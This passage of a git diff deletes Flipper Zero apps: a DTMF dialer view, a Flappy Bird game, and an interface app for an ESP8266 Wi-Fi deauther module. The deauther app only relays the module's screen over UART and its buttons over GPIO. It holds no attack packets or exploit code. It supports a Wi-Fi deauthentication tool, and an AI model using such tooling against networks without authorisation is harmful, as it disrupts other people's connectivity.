dtmf_dolphin_dialer_enter_callback); - return dtmf_dolphin_dialer; -} - -void dtmf_dolphin_dialer_free(DTMFDolphinDialer* dtmf_dolphin_dialer) { - furi_assert(dtmf_dolphin_dialer); - view_free(dtmf_dolphin_dialer->view); - free(dtmf_dolphin_dialer); -} - -View* dtmf_dolphin_dialer_get_view(DTMFDolphinDialer* dtmf_dolphin_dialer) { - furi_assert(dtmf_dolphin_dialer); - return dtmf_dolphin_dialer->view; -} diff --git a/applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.h b/applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.h deleted file mode 100644 index 1929afbc5..000000000 --- a/applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.h +++ /dev/null @@ -1,18 +0,0 @@ -#pragma once - -#include -#include "dtmf_dolphin_common.h" - -typedef struct DTMFDolphinDialer DTMFDolphinDialer; -typedef void (*DTMFDolphinDialerOkCallback)(InputType type, void* context); - -DTMFDolphinDialer* dtmf_dolphin_dialer_alloc(); - -void dtmf_dolphin_dialer_free(DTMFDolphinDialer* dtmf_dolphin_dialer); - -View* dtmf_dolphin_dialer_get_view(DTMFDolphinDialer* dtmf_dolphin_dialer); - -void dtmf_dolphin_dialer_set_ok_callback( - DTMFDolphinDialer* dtmf_dolphin_dialer, - DTMFDolphinDialerOkCallback callback, - void* context); diff --git a/applications/external/esp8266_deauth/FlipperZeroWiFiDeauthModuleDefines.h b/applications/external/esp8266_deauth/FlipperZeroWiFiDeauthModuleDefines.h deleted file mode 100644 index a8e0e8d61..000000000 --- a/applications/external/esp8266_deauth/FlipperZeroWiFiDeauthModuleDefines.h +++ /dev/null @@ -1,7 +0,0 @@ -#define WIFI_MODULE_INIT_VERSION "WFDM_0.1" - -#define MODULE_CONTEXT_INITIALIZATION WIFI_MODULE_INIT_VERSION - -#define FLIPPERZERO_SERIAL_BAUD 230400 - -#define NA 0 diff --git a/applications/external/esp8266_deauth/application.fam b/applications/external/esp8266_deauth/application.fam deleted file mode 100644 index 60d23ec96..000000000 --- a/applications/external/esp8266_deauth/application.fam +++ /dev/null @@ -1,14 +0,0 @@ -App( - appid="esp8266_deauther", - name="[ESP8266] Deauther", - apptype=FlipperAppType.EXTERNAL, - entry_point="esp8266_deauth_app", - requires=["gui"], - stack_size=2 * 1024, - order=100, - fap_icon="wifi_10px.png", - fap_category="GPIO", - fap_author="@SequoiaSan & @xMasterX", - fap_version="1.0", - fap_description="DSTIKE Deauther module interface, based on ESP8266", -) diff --git a/applications/external/esp8266_deauth/esp8266_deauth.c b/applications/external/esp8266_deauth/esp8266_deauth.c deleted file mode 100644 index cb79cf651..000000000 --- a/applications/external/esp8266_deauth/esp8266_deauth.c +++ /dev/null @@ -1,543 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -//#include -//#include -//#include -//#include - -#include "FlipperZeroWiFiDeauthModuleDefines.h" - -#define DEAUTH_APP_DEBUG 0 - -#if DEAUTH_APP_DEBUG -#define APP_NAME_TAG "WiFi_Deauther" -#define DEAUTH_APP_LOG_I(format, ...) FURI_LOG_I(APP_NAME_TAG, format, ##__VA_ARGS__) -#define DEAUTH_APP_LOG_D(format, ...) FURI_LOG_D(APP_NAME_TAG, format, ##__VA_ARGS__) -#define DEAUTH_APP_LOG_E(format, ...) FURI_LOG_E(APP_NAME_TAG, format, ##__VA_ARGS__) -#else -#define DEAUTH_APP_LOG_I(format, ...) -#define DEAUTH_APP_LOG_D(format, ...) -#define DEAUTH_APP_LOG_E(format, ...) -#endif // WIFI_APP_DEBUG - -#define DISABLE_CONSOLE !DEAUTH_APP_DEBUG -#define ENABLE_MODULE_POWER 1 -#define ENABLE_MODULE_DETECTION 1 - -typedef enum EEventType // app internally defined event types -{ EventTypeKey // flipper input.h type -} EEventType; - -typedef struct SPluginEvent { - EEventType m_type; - InputEvent m_input; -} SPluginEvent; - -typedef enum EAppContext { - Undefined, - WaitingForModule, - Initializing, - ModuleActive, -} EAppContext; - -typedef enum EWorkerEventFlags { - WorkerEventReserved = (1 << 0), // Reserved for StreamBuffer internal event - WorkerEventStop = (1 << 1), - WorkerEventRx = (1 << 2), -} EWorkerEventFlags; - -typedef struct SGpioButtons { - GpioPin const* pinButtonUp; - GpioPin const* pinButtonDown; - GpioPin const* pinButtonOK; - GpioPin const* pinButtonBack; -} SGpioButtons; - -typedef struct SWiFiDeauthApp { - FuriMutex* mutex; - Gui* m_gui; - FuriThread* m_worker_thread; - //NotificationApp* m_notification; - FuriStreamBuffer* m_rx_stream; - SGpioButtons m_GpioButtons; - - bool m_wifiDeauthModuleInitialized; - bool m_wifiDeauthModuleAttached; - - EAppContext m_context; - - uint8_t m_backBuffer[128 * 8 * 8]; - //uint8_t m_renderBuffer[128 * 8 * 8]; - - uint8_t* m_backBufferPtr; - //uint8_t* m_m_renderBufferPtr; - - //uint8_t* m_originalBuffer; - //uint8_t** m_originalBufferLocation; - size_t m_canvasSize; - - bool m_needUpdateGUI; -} SWiFiDeauthApp; - -/////// INIT STATE /////// -static void esp8266_deauth_app_init(SWiFiDeauthApp* const app) { - app->m_context = Undefined; - - app->m_canvasSize = 128 * 8 * 8; - memset(app->m_backBuffer, DEAUTH_APP_DEBUG ? 0xFF : 0x00, app->m_canvasSize); - //memset(app->m_renderBuffer, DEAUTH_APP_DEBUG ? 0xFF : 0x00, app->m_canvasSize); - - //app->m_originalBuffer = NULL; - //app->m_originalBufferLocation = NULL; - - //app->m_m_renderBufferPtr = app->m_renderBuffer; - app->m_backBufferPtr = app->m_backBuffer; - - app->m_GpioButtons.pinButtonUp = &gpio_ext_pc3; - app->m_GpioButtons.pinButtonDown = &gpio_ext_pb2; - app->m_GpioButtons.pinButtonOK = &gpio_ext_pb3; - app->m_GpioButtons.pinButtonBack = &gpio_ext_pa4; - - app->m_needUpdateGUI = false; - -#if ENABLE_MODULE_POWER - app->m_wifiDeauthModuleInitialized = false; -#else - app->m_wifiDeauthModuleInitialized = true; -#endif // ENABLE_MODULE_POWER - -#if ENABLE_MODULE_DETECTION - app->m_wifiDeauthModuleAttached = false; -#else - app->m_wifiDeauthModuleAttached = true; -#endif -} - -static void esp8266_deauth_module_render_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); - SWiFiDeauthApp* app = ctx; - furi_mutex_acquire(app->mutex, FuriWaitForever); - - //if(app->m_needUpdateGUI) - //{ - // app->m_needUpdateGUI = false; - - // //app->m_canvasSize = canvas_get_buffer_size(canvas); - // //app->m_originalBuffer = canvas_get_buffer(canvas); - // //app->m_originalBufferLocation = &u8g2_GetBufferPtr(&canvas->fb); - // //u8g2_GetBufferPtr(&canvas->fb) = app->m_m_renderBufferPtr; - //} - - //uint8_t* exchangeBuffers = app->m_m_renderBufferPtr; - //app->m_m_renderBufferPtr = app->m_backBufferPtr; - //app->m_backBufferPtr = exchangeBuffers; - - //if(app->m_needUpdateGUI) - //{ - // //memcpy(app->m_renderBuffer, app->m_backBuffer, app->m_canvasSize); - // app->m_needUpdateGUI = false; - //} - - switch(app->m_context) { - case Undefined: { - canvas_clear(canvas); - canvas_set_font(canvas, FontPrimary); - - const char* strInitializing = "Something wrong"; - canvas_draw_str( - canvas, - (128 / 2) - (canvas_string_width(canvas, strInitializing) / 2), - (64 / 2) /* - (canvas_current_font_height(canvas) / 2)*/, - strInitializing); - } break; - case WaitingForModule: -#if ENABLE_MODULE_DETECTION - furi_assert(!app->m_wifiDeauthModuleAttached); - if(!app->m_wifiDeauthModuleAttached) { - canvas_clear(canvas); - canvas_set_font(canvas, FontSecondary); - - const char* strInitializing = "Attach WiFi Deauther module"; - canvas_draw_str( - canvas, - (128 / 2) - (canvas_string_width(canvas, strInitializing) / 2), - (64 / 2) /* - (canvas_current_font_height(canvas) / 2)*/, - strInitializing); - } -#endif - break; - case Initializing: -#if ENABLE_MODULE_POWER - { - furi_assert(!app->m_wifiDeauthModuleInitialized); - if(!app->m_wifiDeauthModuleInitialized) { - canvas_set_font(canvas, FontPrimary); - - const char* strInitializing = "Initializing..."; - canvas_draw_str( - canvas, - (128 / 2) - (canvas_string_width(canvas, strInitializing) / 2), - (64 / 2) - (canvas_current_font_height(canvas) / 2), - strInitializing); - } - } -#endif // ENABLE_MODULE_POWER - break; - case ModuleActive: { - uint8_t* buffer = canvas->fb.tile_buf_ptr; - app->m_canvasSize = gui_get_framebuffer_size(app->m_gui); - memcpy(buffer, app->m_backBuffer, app->m_canvasSize); - } break; - default: - break; - } - - furi_mutex_release(app->mutex); -} - -static void - esp8266_deauth_module_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - SPluginEvent event = {.m_type = EventTypeKey, .m_input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static void uart_on_irq_cb(UartIrqEvent ev, uint8_t data, void* context) { - furi_assert(context); - - SWiFiDeauthApp* app = context; - - DEAUTH_APP_LOG_I("uart_echo_on_irq_cb"); - - if(ev == UartIrqEventRXNE) { - DEAUTH_APP_LOG_I("ev == UartIrqEventRXNE"); - furi_stream_buffer_send(app->m_rx_stream, &data, 1, 0); - furi_thread_flags_set(furi_thread_get_id(app->m_worker_thread), WorkerEventRx); - } -} - -static int32_t uart_worker(void* context) { - furi_assert(context); - DEAUTH_APP_LOG_I("[UART] Worker thread init"); - - SWiFiDeauthApp* app = context; - furi_mutex_acquire(app->mutex, FuriWaitForever); - if(app == NULL) { - return 1; - } - - FuriStreamBuffer* rx_stream = app->m_rx_stream; - - furi_mutex_release(app->mutex); - -#if ENABLE_MODULE_POWER - bool initialized = false; - - FuriString* receivedString; - receivedString = furi_string_alloc(); -#endif // ENABLE_MODULE_POWER - - while(true) { - uint32_t events = furi_thread_flags_wait( - WorkerEventStop | WorkerEventRx, FuriFlagWaitAny, FuriWaitForever); - furi_check((events & FuriFlagError) == 0); - - if(events & WorkerEventStop) break; - if(events & WorkerEventRx) { - DEAUTH_APP_LOG_I("[UART] Received data"); - SWiFiDeauthApp* app = context; - furi_mutex_acquire(app->mutex, FuriWaitForever); - if(app == NULL) { - return 1; - } - - size_t dataReceivedLength = 0; - int index = 0; - do { - const uint8_t dataBufferSize = 64; - uint8_t dataBuffer[dataBufferSize]; - dataReceivedLength = - furi_stream_buffer_receive(rx_stream, dataBuffer, dataBufferSize, 25); - if(dataReceivedLength > 0) { -#if ENABLE_MODULE_POWER - if(!initialized) { - if(!(dataReceivedLength > strlen(MODULE_CONTEXT_INITIALIZATION))) { - DEAUTH_APP_LOG_I("[UART] Found possible init candidate"); - for(uint16_t i = 0; i < dataReceivedLength; i++) { - furi_string_push_back(receivedString, dataBuffer[i]); - } - } - } else -#endif // ENABLE_MODULE_POWER - { - DEAUTH_APP_LOG_I("[UART] Data copied to backbuffer"); - memcpy(app->m_backBuffer + index, dataBuffer, dataReceivedLength); - index += dataReceivedLength; - app->m_needUpdateGUI = true; - } - } - - } while(dataReceivedLength > 0); - -#if ENABLE_MODULE_POWER - if(!app->m_wifiDeauthModuleInitialized) { - if(furi_string_cmp_str(receivedString, MODULE_CONTEXT_INITIALIZATION) == 0) { - DEAUTH_APP_LOG_I("[UART] Initialized"); - initialized = true; - app->m_wifiDeauthModuleInitialized = true; - app->m_context = ModuleActive; - furi_string_free(receivedString); - } else { - DEAUTH_APP_LOG_I("[UART] Not an initialization command"); - furi_string_reset(receivedString); - } - } -#endif // ENABLE_MODULE_POWER - - furi_mutex_release(app->mutex); - } - } - - return 0; -} - -int32_t esp8266_deauth_app(void* p) { - UNUSED(p); - - DEAUTH_APP_LOG_I("Init"); - - // FuriTimer* timer = furi_timer_alloc(blink_test_update, FuriTimerTypePeriodic, event_queue); - // furi_timer_start(timer, furi_kernel_get_tick_frequency()); - - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(SPluginEvent)); - - SWiFiDeauthApp* app = malloc(sizeof(SWiFiDeauthApp)); - - esp8266_deauth_app_init(app); - - furi_hal_gpio_init_simple(app->m_GpioButtons.pinButtonUp, GpioModeOutputPushPull); - furi_hal_gpio_init_simple(app->m_GpioButtons.pinButtonDown, GpioModeOutputPushPull); - furi_hal_gpio_init_simple(app->m_GpioButtons.pinButtonOK, GpioModeOutputPushPull); - furi_hal_gpio_init_simple(app->m_GpioButtons.pinButtonBack, GpioModeOutputPushPull); - - furi_hal_gpio_write(app->m_GpioButtons.pinButtonUp, true); - furi_hal_gpio_write(app->m_GpioButtons.pinButtonDown, true); - furi_hal_gpio_write(app->m_GpioButtons.pinButtonOK, true); - furi_hal_gpio_write( - app->m_GpioButtons.pinButtonBack, false); // GPIO15 - Boot fails if pulled HIGH - -#if ENABLE_MODULE_DETECTION - furi_hal_gpio_init( - &gpio_ext_pc0, - GpioModeInput, - GpioPullUp, - GpioSpeedLow); // Connect to the Flipper's ground just to be sure - //furi_hal_gpio_add_int_callback(pinD0, input_isr_d0, this); - app->m_context = WaitingForModule; -#else -#if ENABLE_MODULE_POWER - app->m_context = Initializing; - uint8_t attempts = 0; - while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { - furi_hal_power_enable_otg(); - furi_delay_ms(10); - } - furi_delay_ms(200); -#else - app->m_context = ModuleActive; -#endif -#endif // ENABLE_MODULE_DETECTION - - app->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!app->mutex) { - DEAUTH_APP_LOG_E("cannot create mutex\r\n"); - free(app); - return 255; - } - - DEAUTH_APP_LOG_I("Mutex created"); - - //app->m_notification = furi_record_open(RECORD_NOTIFICATION); - - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, esp8266_deauth_module_render_callback, app); - view_port_input_callback_set(view_port, esp8266_deauth_module_input_callback, event_queue); - - // Open GUI and register view_port - app->m_gui = furi_record_open(RECORD_GUI); - gui_add_view_port(app->m_gui, view_port, GuiLayerFullscreen); - - //notification_message(app->notification, &sequence_set_only_blue_255); - - app->m_rx_stream = furi_stream_buffer_alloc(1 * 1024, 1); - - app->m_worker_thread = furi_thread_alloc(); - furi_thread_set_name(app->m_worker_thread, "WiFiDeauthModuleUARTWorker"); - furi_thread_set_stack_size(app->m_worker_thread, 1 * 1024); - furi_thread_set_context(app->m_worker_thread, app); - furi_thread_set_callback(app->m_worker_thread, uart_worker); - furi_thread_start(app->m_worker_thread); - DEAUTH_APP_LOG_I("UART thread allocated"); - - // Enable uart listener -#if DISABLE_CONSOLE - furi_hal_console_disable(); -#endif - furi_hal_uart_set_br(FuriHalUartIdUSART1, FLIPPERZERO_SERIAL_BAUD); - furi_hal_uart_set_irq_cb(FuriHalUartIdUSART1, uart_on_irq_cb, app); - DEAUTH_APP_LOG_I("UART Listener created"); - - SPluginEvent event; - for(bool processing = true; processing;) { - FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); - furi_mutex_acquire(app->mutex, FuriWaitForever); - -#if ENABLE_MODULE_DETECTION - if(!app->m_wifiDeauthModuleAttached) { - if(furi_hal_gpio_read(&gpio_ext_pc0) == false) { - DEAUTH_APP_LOG_I("Module Attached"); - app->m_wifiDeauthModuleAttached = true; -#if ENABLE_MODULE_POWER - app->m_context = Initializing; - uint8_t attempts2 = 0; - while(!furi_hal_power_is_otg_enabled() && attempts2++ < 3) { - furi_hal_power_enable_otg(); - furi_delay_ms(10); - } -#else - app->m_context = ModuleActive; -#endif - } - } -#endif // ENABLE_MODULE_DETECTION - - if(event_status == FuriStatusOk) { - if(event.m_type == EventTypeKey) { - if(app->m_wifiDeauthModuleInitialized) { - if(app->m_context == ModuleActive) { - switch(event.m_input.key) { - case InputKeyUp: - if(event.m_input.type == InputTypePress) { - DEAUTH_APP_LOG_I("Up Press"); - furi_hal_gpio_write(app->m_GpioButtons.pinButtonUp, false); - } else if(event.m_input.type == InputTypeRelease) { - DEAUTH_APP_LOG_I("Up Release"); - furi_hal_gpio_write(app->m_GpioButtons.pinButtonUp, true); - } - break; - case InputKeyDown: - if(event.m_input.type == InputTypePress) { - DEAUTH_APP_LOG_I("Down Press"); - furi_hal_gpio_write(app->m_GpioButtons.pinButtonDown, false); - } else if(event.m_input.type == InputTypeRelease) { - DEAUTH_APP_LOG_I("Down Release"); - furi_hal_gpio_write(app->m_GpioButtons.pinButtonDown, true); - } - break; - case InputKeyOk: - if(event.m_input.type == InputTypePress) { - DEAUTH_APP_LOG_I("OK Press"); - furi_hal_gpio_write(app->m_GpioButtons.pinButtonOK, false); - } else if(event.m_input.type == InputTypeRelease) { - DEAUTH_APP_LOG_I("OK Release"); - furi_hal_gpio_write(app->m_GpioButtons.pinButtonOK, true); - } - break; - case InputKeyBack: - if(event.m_input.type == InputTypePress) { - DEAUTH_APP_LOG_I("Back Press"); - furi_hal_gpio_write(app->m_GpioButtons.pinButtonBack, false); - } else if(event.m_input.type == InputTypeRelease) { - DEAUTH_APP_LOG_I("Back Release"); - furi_hal_gpio_write(app->m_GpioButtons.pinButtonBack, true); - } else if(event.m_input.type == InputTypeLong) { - DEAUTH_APP_LOG_I("Back Long"); - processing = false; - } - break; - default: - break; - } - } - } else { - if(event.m_input.key == InputKeyBack) { - if(event.m_input.type == InputTypeShort || - event.m_input.type == InputTypeLong) { - processing = false; - } - } - } - } - } - -#if ENABLE_MODULE_DETECTION - if(app->m_wifiDeauthModuleAttached && furi_hal_gpio_read(&gpio_ext_pc0) == true) { - DEAUTH_APP_LOG_D("Module Disconnected - Exit"); - processing = false; - app->m_wifiDeauthModuleAttached = false; - app->m_wifiDeauthModuleInitialized = false; - } -#endif - - view_port_update(view_port); - furi_mutex_release(app->mutex); - } - - DEAUTH_APP_LOG_I("Start exit app"); - - furi_thread_flags_set(furi_thread_get_id(app->m_worker_thread), WorkerEventStop); - furi_thread_join(app->m_worker_thread); - furi_thread_free(app->m_worker_thread); - - DEAUTH_APP_LOG_I("Thread Deleted"); - - // Reset GPIO pins to default state - furi_hal_gpio_init(&gpio_ext_pc0, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - furi_hal_gpio_init(&gpio_ext_pc3, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - furi_hal_gpio_init(&gpio_ext_pb2, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - furi_hal_gpio_init(&gpio_ext_pb3, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - furi_hal_gpio_init(&gpio_ext_pa4, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - -#if DISABLE_CONSOLE - furi_hal_console_enable(); -#endif - - //*app->m_originalBufferLocation = app->m_originalBuffer; - - view_port_enabled_set(view_port, false); - - gui_remove_view_port(app->m_gui, view_port); - - // Close gui record - furi_record_close(RECORD_GUI); - //furi_record_close(RECORD_NOTIFICATION); - app->m_gui = NULL; - - view_port_free(view_port); - - furi_message_queue_free(event_queue); - - furi_stream_buffer_free(app->m_rx_stream); - - furi_mutex_free(app->mutex); - - // Free rest - free(app); - - DEAUTH_APP_LOG_I("App freed"); - -#if ENABLE_MODULE_POWER - if(furi_hal_power_is_otg_enabled()) { - furi_hal_power_disable_otg(); - } -#endif - - return 0; -} diff --git a/applications/external/esp8266_deauth/wifi_10px.png b/applications/external/esp8266_deauth/wifi_10px.png deleted file mode 100644 index c13534660..000000000 Binary files a/applications/external/esp8266_deauth/wifi_10px.png and /dev/null differ diff --git a/applications/external/flappy_bird/application.fam b/applications/external/flappy_bird/application.fam deleted file mode 100644 index ad18e57e1..000000000 --- a/applications/external/flappy_bird/application.fam +++ /dev/null @@ -1,15 +0,0 @@ -App( - appid="flappy_bird", - name="Flappy Bird", - apptype=FlipperAppType.EXTERNAL, - entry_point="flappy_game_app", - requires=["gui"], - stack_size=4 * 1024, - order=100, - fap_icon="flappy_10px.png", - fap_category="Games", - fap_icon_assets="assets", - fap_author="@DroomOne & @xMasterX", - fap_version="1.0", - fap_description="Flappy Bird Game", -) diff --git a/applications/external/flappy_bird/assets/bird_01.png b/applications/external/flappy_bird/assets/bird_01.png deleted file mode 100644 index 0cd187053..000000000 Binary files a/applications/external/flappy_bird/assets/bird_01.png and /dev/null differ diff --git a/applications/external/flappy_bird/assets/bird_02.png b/applications/external/flappy_bird/assets/bird_02.png deleted file mode 100644 index 3c37cdb8b..000000000 Binary files a/applications/external/flappy_bird/assets/bird_02.png and /dev/null differ diff --git a/applications/external/flappy_bird/assets/bird_03.png b/applications/external/flappy_bird/assets/bird_03.png deleted file mode 100644 index a111ce163..000000000 Binary files a/applications/external/flappy_bird/assets/bird_03.png and /dev/null differ diff --git a/applications/external/flappy_bird/flappy_10px.png b/applications/external/flappy_bird/flappy_10px.png deleted file mode 100644 index d624d3571..000000000 Binary files a/applications/external/flappy_bird/flappy_10px.png and /dev/null differ diff --git a/applications/external/flappy_bird/flappy_bird.c b/applications/external/flappy_bird/flappy_bird.c deleted file mode 100644 index 2052488bf..000000000 --- a/applications/external/flappy_bird/flappy_bird.c +++ /dev/null @@ -1,378 +0,0 @@ -#include - -#include -#include -#include -#include -#include - -#define TAG "Flappy" -#define DEBUG false - -#define FLAPPY_BIRD_HEIGHT 15 -#define FLAPPY_BIRD_WIDTH 10 - -#define FLAPPY_PILAR_MAX 6 -#define FLAPPY_PILAR_DIST 35 - -#define FLAPPY_GAB_HEIGHT 25 -#define FLAPPY_GAB_WIDTH 10 - -#define FLAPPY_GRAVITY_JUMP -1.1 -#define FLAPPY_GRAVITY_TICK 0.15 - -#define FLIPPER_LCD_WIDTH 128 -#define FLIPPER_LCD_HEIGHT 64 - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef enum { BirdState0 = 0, BirdState1, BirdState2, BirdStateMAX } BirdState; - -const Icon* bird_states[BirdStateMAX] = { - &I_bird_01, - &I_bird_02, - &I_bird_03, -}; - -typedef struct { - int x; - int y; -} POINT; - -typedef struct { - float gravity; - POINT point; -} BIRD; - -typedef struct { - POINT point; - int height; - int visible; - bool passed; -} PILAR; - -typedef enum { - GameStateLife, - GameStateGameOver, -} State; - -typedef struct { - BIRD bird; - int points; - int pilars_count; - PILAR pilars[FLAPPY_PILAR_MAX]; - bool debug; - State state; - FuriMutex* mutex; -} GameState; - -typedef struct { - EventType type; - InputEvent input; -} GameEvent; - -typedef enum { - DirectionUp, - DirectionRight, - DirectionDown, - DirectionLeft, -} Direction; - -static void flappy_game_random_pilar(GameState* const game_state) { - PILAR pilar; - - pilar.passed = false; - pilar.visible = 1; - pilar.height = random() % (FLIPPER_LCD_HEIGHT - FLAPPY_GAB_HEIGHT) + 1; - pilar.point.y = 0; - pilar.point.x = FLIPPER_LCD_WIDTH + FLAPPY_GAB_WIDTH + 1; - - game_state->pilars_count++; - game_state->pilars[game_state->pilars_count % FLAPPY_PILAR_MAX] = pilar; -} - -static void flappy_game_state_init(GameState* const game_state) { - BIRD bird; - bird.gravity = 0.0f; - bird.point.x = 15; - bird.point.y = 32; - - game_state->debug = DEBUG; - game_state->bird = bird; - game_state->pilars_count = 0; - game_state->points = 0; - game_state->state = GameStateLife; - memset(game_state->pilars, 0, sizeof(game_state->pilars)); - - flappy_game_random_pilar(game_state); -} - -static void flappy_game_state_free(GameState* const game_state) { - free(game_state); -} - -static void flappy_game_tick(GameState* const game_state) { - if(game_state->state == GameStateLife) { - if(!game_state->debug) { - game_state->bird.gravity += FLAPPY_GRAVITY_TICK; - game_state->bird.point.y += game_state->bird.gravity; - } - - // Checking the location of the last respawned pilar. - PILAR* pilar = &game_state->pilars[game_state->pilars_count % FLAPPY_PILAR_MAX]; - if(pilar->point.x == (FLIPPER_LCD_WIDTH - FLAPPY_PILAR_DIST)) - flappy_game_random_pilar(game_state); - - // Updating the position/status of the pilars (visiblity, posotion, game points) - // | | | | | - // | | | | | - // |__| | |__| - // _____X | X_____ - // | | | | | // [Pos + Width of pilar] >= [Bird Pos] - // |_____| | |_____| - // X <----> | X <-> - // Bird Pos + Lenght of the bird] >= [Pilar] - for(int i = 0; i < FLAPPY_PILAR_MAX; i++) { - PILAR* pilar = &game_state->pilars[i]; - if(pilar != NULL && pilar->visible && game_state->state == GameStateLife) { - pilar->point.x--; - if(game_state->bird.point.x >= pilar->point.x + FLAPPY_GAB_WIDTH && - pilar->passed == false) { - pilar->passed = true; - game_state->points++; - } - if(pilar->point.x < -FLAPPY_GAB_WIDTH) pilar->visible = 0; - - if(game_state->bird.point.y <= 0 - FLAPPY_BIRD_WIDTH) { - game_state->bird.point.y = 64; - } - - if(game_state->bird.point.y > 64 - FLAPPY_BIRD_WIDTH) { - game_state->bird.point.y = FLIPPER_LCD_HEIGHT - FLAPPY_BIRD_WIDTH; - } - - // Bird inbetween pipes - if((game_state->bird.point.x + FLAPPY_BIRD_HEIGHT >= pilar->point.x) && - (game_state->bird.point.x <= pilar->point.x + FLAPPY_GAB_WIDTH)) { - // Bird below Bottom Pipe - if(game_state->bird.point.y + FLAPPY_BIRD_WIDTH - 2 >= - pilar->height + FLAPPY_GAB_HEIGHT) { - game_state->state = GameStateGameOver; - break; - } - - // Bird above Upper Pipe - if(game_state->bird.point.y < pilar->height) { - game_state->state = GameStateGameOver; - break; - } - } - } - } - } -} - -static void flappy_game_flap(GameState* const game_state) { - game_state->bird.gravity = FLAPPY_GRAVITY_JUMP; -} - -static void flappy_game_render_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); - const GameState* game_state = ctx; - furi_mutex_acquire(game_state->mutex, FuriWaitForever); - - canvas_draw_frame(canvas, 0, 0, 128, 64); - - if(game_state->state == GameStateLife) { - // Pilars - for(int i = 0; i < FLAPPY_PILAR_MAX; i++) { - const PILAR* pilar = &game_state->pilars[i]; - if(pilar != NULL && pilar->visible == 1) { - canvas_draw_frame( - canvas, pilar->point.x, pilar->point.y, FLAPPY_GAB_WIDTH, pilar->height); - - canvas_draw_frame( - canvas, pilar->point.x + 1, pilar->point.y, FLAPPY_GAB_WIDTH, pilar->height); - - canvas_draw_frame( - canvas, - pilar->point.x + 2, - pilar->point.y, - FLAPPY_GAB_WIDTH - 1, - pilar->height); - - canvas_draw_frame( - canvas, - pilar->point.x, - pilar->point.y + pilar->height + FLAPPY_GAB_HEIGHT, - FLAPPY_GAB_WIDTH, - FLIPPER_LCD_HEIGHT - pilar->height - FLAPPY_GAB_HEIGHT); - - canvas_draw_frame( - canvas, - pilar->point.x + 1, - pilar->point.y + pilar->height + FLAPPY_GAB_HEIGHT, - FLAPPY_GAB_WIDTH - 1, - FLIPPER_LCD_HEIGHT - pilar->height - FLAPPY_GAB_HEIGHT); - - canvas_draw_frame( - canvas, - pilar->point.x + 2, - pilar->point.y + pilar->height + FLAPPY_GAB_HEIGHT, - FLAPPY_GAB_WIDTH - 1, - FLIPPER_LCD_HEIGHT - pilar->height - FLAPPY_GAB_HEIGHT); - } - } - - // Switch animation - BirdState bird_state = BirdState1; - if(game_state->bird.gravity < -0.5) - bird_state = BirdState0; - else if(game_state->bird.gravity > 0.5) - bird_state = BirdState2; - - canvas_draw_icon( - canvas, game_state->bird.point.x, game_state->bird.point.y, bird_states[bird_state]); - - canvas_set_font(canvas, FontSecondary); - char buffer[12]; - snprintf(buffer, sizeof(buffer), "Score: %u", game_state->points); - canvas_draw_str_aligned(canvas, 100, 12, AlignCenter, AlignBottom, buffer); - - if(game_state->debug) { - char coordinates[20]; - snprintf(coordinates, sizeof(coordinates), "Y: %u", game_state->bird.point.y); - canvas_draw_str_aligned(canvas, 1, 12, AlignCenter, AlignBottom, coordinates); - } - } - - if(game_state->state == GameStateGameOver) { - // Screen is 128x64 px - canvas_set_color(canvas, ColorWhite); - canvas_draw_box(canvas, 34, 20, 62, 24); - - canvas_set_color(canvas, ColorBlack); - canvas_draw_frame(canvas, 34, 20, 62, 24); - - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 37, 31, "Game Over"); - - canvas_set_font(canvas, FontSecondary); - char buffer[12]; - snprintf(buffer, sizeof(buffer), "Score: %u", game_state->points); - canvas_draw_str_aligned(canvas, 64, 41, AlignCenter, AlignBottom, buffer); - } - - furi_mutex_release(game_state->mutex); -} - -static void flappy_game_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - GameEvent event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static void flappy_game_update_timer_callback(FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - GameEvent event = {.type = EventTypeTick}; - furi_message_queue_put(event_queue, &event, 0); -} - -int32_t flappy_game_app(void* p) { - UNUSED(p); - int32_t return_code = 0; - - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(GameEvent)); - - GameState* game_state = malloc(sizeof(GameState)); - flappy_game_state_init(game_state); - - game_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!game_state->mutex) { - FURI_LOG_E(TAG, "cannot create mutex\r\n"); - return_code = 255; - goto free_and_exit; - } - - // Set system callbacks - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, flappy_game_render_callback, game_state); - view_port_input_callback_set(view_port, flappy_game_input_callback, event_queue); - - FuriTimer* timer = - furi_timer_alloc(flappy_game_update_timer_callback, FuriTimerTypePeriodic, event_queue); - furi_timer_start(timer, furi_kernel_get_tick_frequency() / 25); - - // Open GUI and register view_port - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - // Call dolphin deed on game start - dolphin_deed(DolphinDeedPluginGameStart); - - GameEvent event; - for(bool processing = true; processing;) { - FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); - furi_mutex_acquire(game_state->mutex, FuriWaitForever); - - if(event_status == FuriStatusOk) { - // press events - if(event.type == EventTypeKey) { - if(event.input.type == InputTypePress) { - switch(event.input.key) { - case InputKeyUp: - if(game_state->state == GameStateLife) { - flappy_game_flap(game_state); - 